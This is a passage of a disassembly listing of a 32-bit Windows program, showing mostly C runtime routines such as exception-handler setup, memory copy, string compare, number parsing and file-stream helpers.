eax mov eax, ecx leave retn sub_40D0C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D11D proc near ; DATA XREF: sub_40D0C9+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4121E9 add esp, 20h pop ebp retn sub_40D11D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D142 proc near ; CODE XREF: sub_41242B+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_40D1F6 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_40D1C8 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_481E38 pop ecx pop ecx and [ebp+var_34], 0 loc_40D1C8: ; DATA XREF: sub_40D142+3Co cmp [ebp+var_4], 0 jz short loc_40D1E5 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_40D1EE ; --------------------------------------------------------------------------- loc_40D1E5: ; CODE XREF: sub_40D142+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_40D1EE: ; CODE XREF: sub_40D142+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_40D142 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1F6 proc near ; DATA XREF: sub_40D142+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_40D219 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_40D266 ; --------------------------------------------------------------------------- loc_40D219: ; CODE XREF: sub_40D1F6+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4121E9 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_40D257 push [ebp+arg_0] push [ebp+arg_4] call sub_40D044 loc_40D257: ; CODE XREF: sub_40D1F6+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_40D266: ; CODE XREF: sub_40D1F6+21j pop edi pop esi pop ebx pop ebp retn sub_40D1F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D26B proc near ; CODE XREF: sub_412284+C6p ; sub_41242B+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_40D2C2 loc_40D289: ; CODE XREF: sub_40D26B+52j cmp esi, 0FFFFFFFFh jnz short loc_40D293 call sub_412A92 loc_40D293: ; CODE XREF: sub_40D26B+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_40D2A8 cmp ecx, [eax+8] jle short loc_40D2AD loc_40D2A8: ; CODE XREF: sub_40D26B+36j cmp esi, 0FFFFFFFFh jnz short loc_40D2B9 loc_40D2AD: ; CODE XREF: sub_40D26B+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_40D2B9: ; CODE XREF: sub_40D26B+40j cmp [ebp+arg_4], 0 jge short loc_40D289 mov eax, [ebp+var_4] loc_40D2C2: ; CODE XREF: sub_40D26B+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_40D2D6 cmp esi, eax jbe short loc_40D2DB loc_40D2D6: ; CODE XREF: sub_40D26B+65j call sub_412A92 loc_40D2DB: ; CODE XREF: sub_40D26B+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_40D26B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2E8 proc near ; CODE XREF: sub_414568+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_40D300 push [ebp+arg_0] call sub_417A7E ; RtlUnwind loc_40D300: ; DATA XREF: sub_40D2E8+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40D2E8 endp ; =============== S U B R O U T I N E ======================================= sub_40D308 proc near ; DATA XREF: sub_40D32A+Ao ; sub_40D392+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_40D329 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40D329: ; CODE XREF: sub_40D308+10j retn sub_40D308 endp ; =============== S U B R O U T I N E ======================================= sub_40D32A proc near ; CODE XREF: sub_412705+Dp ; sub_414568+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_40D308 push large dword ptr fs:0 mov large fs:0, esp loc_40D347: ; CODE XREF: sub_40D32A:loc_40D382j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40D384 cmp esi, [esp+1Ch+arg_4] jz short loc_40D384 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40D382 push 101h mov eax, [ebx+esi*4+8] call sub_40D3BE call dword ptr [ebx+esi*4+8] loc_40D382: ; CODE XREF: sub_40D32A+44j jmp short loc_40D347 ; --------------------------------------------------------------------------- loc_40D384: ; CODE XREF: sub_40D32A+2Aj ; sub_40D32A+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_40D32A endp ; =============== S U B R O U T I N E ======================================= sub_40D392 proc near ; CODE XREF: sub_412725+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_40D308 jnz short locret_40D3B4 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_40D3B4 mov eax, 1 locret_40D3B4: ; CODE XREF: sub_40D392+10j ; sub_40D392+1Bj retn sub_40D392 endp ; =============== S U B R O U T I N E ======================================= sub_40D3B5 proc near ; CODE XREF: sub_4129F0+1Ep ; sub_4129F0+40p push ebx push ecx mov ebx, offset dword_41FC5C jmp short loc_40D3C8 sub_40D3B5 endp ; =============== S U B R O U T I N E ======================================= sub_40D3BE proc near ; CODE XREF: sub_40D32A+4Fp ; sub_414568+78p push ebx push ecx mov ebx, offset dword_41FC5C mov ecx, [ebp+8] loc_40D3C8: ; CODE XREF: sub_40D3B5+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_40D3BE endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40D3D8 proc near ; CODE XREF: sub_40215E+5p ; sub_4022FD+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_40D3D8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3F7 proc near ; CODE XREF: sub_4022FD+69p ; sub_4023B8+68p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_40EDD8 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_40D436 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_40D443 ; --------------------------------------------------------------------------- loc_40D436: ; CODE XREF: sub_40D3F7+35j lea eax, [ebp+var_20] push eax push 0 call sub_40ECC3 pop ecx pop ecx loc_40D443: ; CODE XREF: sub_40D3F7+3Dj mov eax, esi pop esi leave retn sub_40D3F7 endp ; =============== S U B R O U T I N E ======================================= sub_40D448 proc near ; CODE XREF: sub_402790+22p ; .nsp0:00417855p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40CD81 pop ecx retn sub_40D448 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D460 proc near ; CODE XREF: sub_4027FD+3Ap ; sub_4102F3+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40D480 cmp edi, eax jb loc_40D5F8 loc_40D480: ; CODE XREF: sub_40D460+16j test edi, 3 jnz short loc_40D49C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40D4BC rep movsd jmp off_40D5A8[edx*4] ; --------------------------------------------------------------------------- loc_40D49C: ; CODE XREF: sub_40D460+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40D4B4 and eax, 3 add ecx, eax jmp dword ptr loc_40D4BC+4[eax*4] ; --------------------------------------------------------------------------- loc_40D4B4: ; CODE XREF: sub_40D460+46j jmp dword ptr loc_40D5B8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40D4BC: ; CODE XREF: sub_40D460+31j ; sub_40D460+8Ej ... jmp off_40D53C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40D4D0 dd offset loc_40D4FC dd offset loc_40D520 ; --------------------------------------------------------------------------- loc_40D4D0: ; DATA XREF: sub_40D460+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40D4BC rep movsd jmp off_40D5A8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40D4FC: ; DATA XREF: sub_40D460+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40D4BC rep movsd jmp off_40D5A8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40D520: ; DATA XREF: sub_40D460+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_40D4BC rep movsd jmp off_40D5A8[edx*4] ; --------------------------------------------------------------------------- align 4 off_40D53C dd offset loc_40D59F ; DATA XREF: sub_40D460:loc_40D4BCr dd offset loc_40D58C dd offset loc_40D584 dd offset loc_40D57C dd offset loc_40D574 dd offset loc_40D56C dd offset loc_40D564 dd offset loc_40D55C ; --------------------------------------------------------------------------- loc_40D55C: ; CODE XREF: sub_40D460:loc_40D4BCj ; DATA XREF: sub_40D460+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40D564: ; CODE XREF: sub_40D460:loc_40D4BCj ; DATA XREF: sub_40D460+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40D56C: ; CODE XREF: sub_40D460:loc_40D4BCj ; DATA XREF: sub_40D460+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40D574: ; CODE XREF: sub_40D460:loc_40D4BCj ; DATA XREF: sub_40D460+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40D57C: ; CODE XREF: sub_40D460:loc_40D4BCj ; DATA XREF: sub_40D460+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40D584: ; CODE XREF: sub_40D460:loc_40D4BCj ; DATA XREF: sub_40D460+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40D58C: ; CODE XREF: sub_40D460:loc_40D4BCj ; DATA XREF: sub_40D460+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40D59F: ; CODE XREF: sub_40D460:loc_40D4BCj ; DATA XREF: sub_40D460:off_40D53Co jmp off_40D5A8[edx*4] ; --------------------------------------------------------------------------- align 4 off_40D5A8 dd offset loc_40D5B8 ; DATA XREF: sub_40D460+35r ; sub_40D460+92r ... dd offset loc_40D5C0 dd offset loc_40D5CC dd offset loc_40D5E0 ; --------------------------------------------------------------------------- loc_40D5B8: ; CODE XREF: sub_40D460+35j ; sub_40D460+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40D5C0: ; CODE XREF: sub_40D460+35j ; sub_40D460+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D5CC: ; CODE XREF: sub_40D460+35j ; sub_40D460+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_40D5E0: ; CODE XREF: sub_40D460+35j ; sub_40D460+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D5F8: ; CODE XREF: sub_40D460+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40D62C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40D620 std rep movsd cld jmp off_40D740[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40D620: ; CODE XREF: sub_40D460+1B1j ; sub_40D460+208j ... neg ecx jmp off_40D6F0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40D62C: ; CODE XREF: sub_40D460+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40D644 and eax, 3 sub ecx, eax jmp dword ptr loc_40D644+4[eax*4] ; --------------------------------------------------------------------------- loc_40D644: ; CODE XREF: sub_40D460+1D6j ; DATA XREF: sub_40D460+1DDr jmp off_40D740[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40D658 dd offset loc_40D678 dd offset loc_40D6A0 ; --------------------------------------------------------------------------- loc_40D658: ; DATA XREF: sub_40D460+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_40D620 std rep movsd cld jmp off_40D740[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40D678: ; DATA XREF: sub_40D460+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_40D620 std rep movsd cld jmp off_40D740[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40D6A0: ; DATA XREF: sub_40D460+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40D620 std rep movsd cld jmp off_40D740[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40D6F4 dd offset loc_40D6FC dd offset loc_40D704 dd offset loc_40D70C dd offset loc_40D714 dd offset loc_40D71C dd offset loc_40D724 off_40D6F0 dd offset loc_40D737 ; DATA XREF: sub_40D460+1C2r ; --------------------------------------------------------------------------- loc_40D6F4: ; DATA XREF: sub_40D460+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40D6FC: ; DATA XREF: sub_40D460+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40D704: ; DATA XREF: sub_40D460+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40D70C: ; DATA XREF: sub_40D460+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_40D714: ; DATA XREF: sub_40D460+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40D71C: ; DATA XREF: sub_40D460+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_40D724: ; DATA XREF: sub_40D460+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40D737: ; CODE XREF: sub_40D460+1C2j ; DATA XREF: sub_40D460:off_40D6F0o jmp off_40D740[edx*4] ; --------------------------------------------------------------------------- align 10h off_40D740 dd offset loc_40D750 ; DATA XREF: sub_40D460+1B7r ; sub_40D460:loc_40D644r ... dd offset loc_40D758 dd offset loc_40D768 dd offset loc_40D77C ; --------------------------------------------------------------------------- loc_40D750: ; CODE XREF: sub_40D460+1B7j ; sub_40D460:loc_40D644j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D758: ; CODE XREF: sub_40D460+1B7j ; sub_40D460:loc_40D644j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D768: ; CODE XREF: sub_40D460+1B7j ; sub_40D460:loc_40D644j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40D77C: ; CODE XREF: sub_40D460+1B7j ; sub_40D460:loc_40D644j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_40D460 endp ; =============== S U B R O U T I N E ======================================= sub_40D795 proc near ; CODE XREF: sub_402864+34p ; sub_402864+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_40CCE1 pop ecx pop ecx retn sub_40D795 endp ; =============== S U B R O U T I N E ======================================= sub_40D7A3 proc near ; CODE XREF: sub_40D810+4p arg_0 = dword ptr 4 push esi push dword_48343C call sub_412AE8 mov edx, dword_48343C pop ecx mov ecx, dword_483438 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_40D802 push edx call sub_412AE8 add eax, 10h push eax push dword_48343C call sub_40DB08 add esp, 0Ch test eax, eax jnz short loc_40D7E5 retn ; --------------------------------------------------------------------------- loc_40D7E5: ; CODE XREF: sub_40D7A3+3Fj mov ecx, dword_483438 sub ecx, dword_48343C mov dword_48343C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_483438, ecx loc_40D802: ; CODE XREF: sub_40D7A3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_483438, 4 retn sub_40D7A3 endp ; =============== S U B R O U T I N E ======================================= sub_40D810 proc near ; CODE XREF: sub_402951+1Ap ; sub_417A5E+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40D7A3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_40D810 endp ; =============== S U B R O U T I N E ======================================= sub_40D822 proc near ; DATA XREF: .nsp0:0041A014o push 80h call sub_40CCCF test eax, eax pop ecx mov dword_48343C, eax jnz short loc_40D843 push 18h call sub_40EC7A mov eax, dword_48343C pop ecx loc_40D843: ; CODE XREF: sub_40D822+12j and dword ptr [eax], 0 mov eax, dword_48343C mov dword_483438, eax retn sub_40D822 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D860 proc near ; CODE XREF: sub_40304D+1Dp ; sub_403A2E+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_40D8AC loc_40D870: ; CODE XREF: sub_40D860+3Cj ; sub_40D860+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_40D8A4 or al, al jz short loc_40D8A0 cmp ah, [ecx+1] jnz short loc_40D8A4 or ah, ah jz short loc_40D8A0 shr eax, 10h cmp al, [ecx+2] jnz short loc_40D8A4 or al, al jz short loc_40D8A0 cmp ah, [ecx+3] jnz short loc_40D8A4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_40D870 mov edi, edi loc_40D8A0: ; CODE XREF: sub_40D860+18j ; sub_40D860+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_40D8A4: ; CODE XREF: sub_40D860+14j ; sub_40D860+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_40D8AC: ; CODE XREF: sub_40D860+Ej test edx, 1 jz short loc_40D8C8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_40D8A4 inc ecx or al, al jz short loc_40D8A0 test edx, 2 jz short loc_40D870 loc_40D8C8: ; CODE XREF: sub_40D860+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_40D8A4 or al, al jz short loc_40D8A0 cmp ah, [ecx+1] jnz short loc_40D8A4 or ah, ah jz short loc_40D8A0 add ecx, 2 jmp short loc_40D870 sub_40D860 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8E4 proc near ; CODE XREF: sub_40450F+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_40EDD8 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_40D922 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_40D92F ; --------------------------------------------------------------------------- loc_40D922: ; CODE XREF: sub_40D8E4+34j lea eax, [ebp+var_20] push eax push 0 call sub_40ECC3 pop ecx pop ecx loc_40D92F: ; CODE XREF: sub_40D8E4+3Cj mov eax, esi pop esi leave retn sub_40D8E4 endp ; =============== S U B R O U T I N E ======================================= sub_40D934 proc near ; CODE XREF: sub_40D9BF+4p ; sub_415A78+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_40D93C: ; CODE XREF: sub_40D934+34j cmp dword_422004, 1 jle short loc_40D954 movzx eax, byte ptr [edi] push 8 push eax call sub_412B49 pop ecx pop ecx jmp short loc_40D963 ; --------------------------------------------------------------------------- loc_40D954: ; CODE XREF: sub_40D934+Fj movzx eax, byte ptr [edi] mov ecx, off_421DF8 mov al, [ecx+eax*2] and eax, 8 loc_40D963: ; CODE XREF: sub_40D934+1Ej test eax, eax jz short loc_40D96A inc edi jmp short loc_40D93C ; --------------------------------------------------------------------------- loc_40D96A: ; CODE XREF: sub_40D934+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_40D97A cmp esi, 2Bh jnz short loc_40D97E loc_40D97A: ; CODE XREF: sub_40D934+3Fj movzx esi, byte ptr [edi] inc edi loc_40D97E: ; CODE XREF: sub_40D934+44j xor ebx, ebx loc_40D980: ; CODE XREF: sub_40D934+7Bj cmp dword_422004, 1 jle short loc_40D995 push 4 push esi call sub_412B49 pop ecx pop ecx jmp short loc_40D9A0 ; --------------------------------------------------------------------------- loc_40D995: ; CODE XREF: sub_40D934+53j mov eax, off_421DF8 mov al, [eax+esi*2] and eax, 4 loc_40D9A0: ; CODE XREF: sub_40D934+5Fj test eax, eax jz short loc_40D9B1 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_40D980 ; --------------------------------------------------------------------------- loc_40D9B1: ; CODE XREF: sub_40D934+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_40D9BA neg eax loc_40D9BA: ; CODE XREF: sub_40D934+82j pop edi pop esi pop ebp pop ebx retn sub_40D934 endp ; =============== S U B R O U T I N E ======================================= sub_40D9BF proc near ; CODE XREF: sub_403E11+45Cp ; sub_403E11+46Bp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40D934 pop ecx retn sub_40D9BF endp ; =============== S U B R O U T I N E ======================================= sub_40D9CA proc near ; CODE XREF: sub_40327E+62p ; sub_404475+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_40D9DF or eax, 0FFFFFFFFh jmp short loc_40DA19 ; --------------------------------------------------------------------------- loc_40D9DF: ; CODE XREF: sub_40D9CA+Ej test al, 83h jz short loc_40DA17 push esi call sub_412CD7 push esi mov edi, eax call sub_412C71 push dword ptr [esi+10h] call sub_412BBE add esp, 0Ch test eax, eax jge short loc_40DA05 or edi, 0FFFFFFFFh jmp short loc_40DA17 ; --------------------------------------------------------------------------- loc_40DA05: ; CODE XREF: sub_40D9CA+34j mov eax, [esi+1Ch] test eax, eax jz short loc_40DA17 push eax call sub_40CD81 and dword ptr [esi+1Ch], 0 pop ecx loc_40DA17: ; CODE XREF: sub_40D9CA+17j ; sub_40D9CA+39j ... mov eax, edi loc_40DA19: ; CODE XREF: sub_40D9CA+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_40D9CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA20 proc near ; CODE XREF: sub_40327E+43p ; sub_404475+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_40DA44 xor eax, eax jmp loc_40DAED ; --------------------------------------------------------------------------- loc_40DA44: ; CODE XREF: sub_40DA20+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_40DA57 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_40DA63 ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: sub_40DA20+2Dj mov [ebp+arg_C], 1000h jmp short loc_40DA63 ; --------------------------------------------------------------------------- loc_40DA60: ; CODE XREF: sub_40DA20+C4j mov ecx, [ebp+arg_0] loc_40DA63: ; CODE XREF: sub_40DA20+35j ; sub_40DA20+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_40DA95 mov eax, [esi+4] test eax, eax jz short loc_40DA95 cmp ecx, eax mov edi, ecx jb short loc_40DA7A mov edi, eax loc_40DA7A: ; CODE XREF: sub_40DA20+56j push edi push dword ptr [esi] push ebx call near ptr sub_40C820 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_40DAE0 ; --------------------------------------------------------------------------- loc_40DA95: ; CODE XREF: sub_40DA20+49j ; sub_40DA20+50j cmp ecx, [ebp+arg_C] jb short loc_40DAC8 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_40DAAB xor edx, 